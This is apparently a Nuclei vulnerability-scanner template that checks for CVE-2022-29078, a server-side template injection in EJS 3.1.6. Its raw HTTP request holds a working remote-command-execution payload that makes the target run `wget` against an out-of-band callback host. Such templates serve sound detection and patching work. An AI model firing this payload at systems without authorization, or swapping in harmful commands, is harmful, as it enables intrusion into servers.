51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: CVE-2022-29078
|
|
|
|
info:
|
|
name: Node.js Embedded JavaScript 3.1.6 - Template Injection
|
|
author: For3stCo1d
|
|
severity: critical
|
|
description: |
|
|
Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
|
|
remediation: |
|
|
Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.
|
|
reference:
|
|
- https://eslam.io/posts/ejs-server-side-template-injection-rce/
|
|
- https://github.com/miko550/CVE-2022-29078
|
|
- https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-29078
|
|
- https://github.com/mde/ejs/releases
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-29078
|
|
cwe-id: CWE-94
|
|
epss-score: 0.15696
|
|
epss-percentile: 0.95361
|
|
cpe: cpe:2.3:a:ejs:ejs:3.1.6:*:*:*:*:node.js:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: ejs
|
|
product: ejs
|
|
framework: node.js
|
|
tags: cve,cve2022,ssti,rce,ejs,nodejs,oast,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- http
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- You are viewing page number
|
|
|
|
# digest: 4b0a00483046022100a7b273d87f48db342fca1549829f6f238357403619eb99455c8676d5f0a6ae4a022100aefbfeae0d105decc6d83c06b78a6e2fc10f100b9536911d9d48642ad0bf7404:922c64590222798bb761d5b6d8e72950
|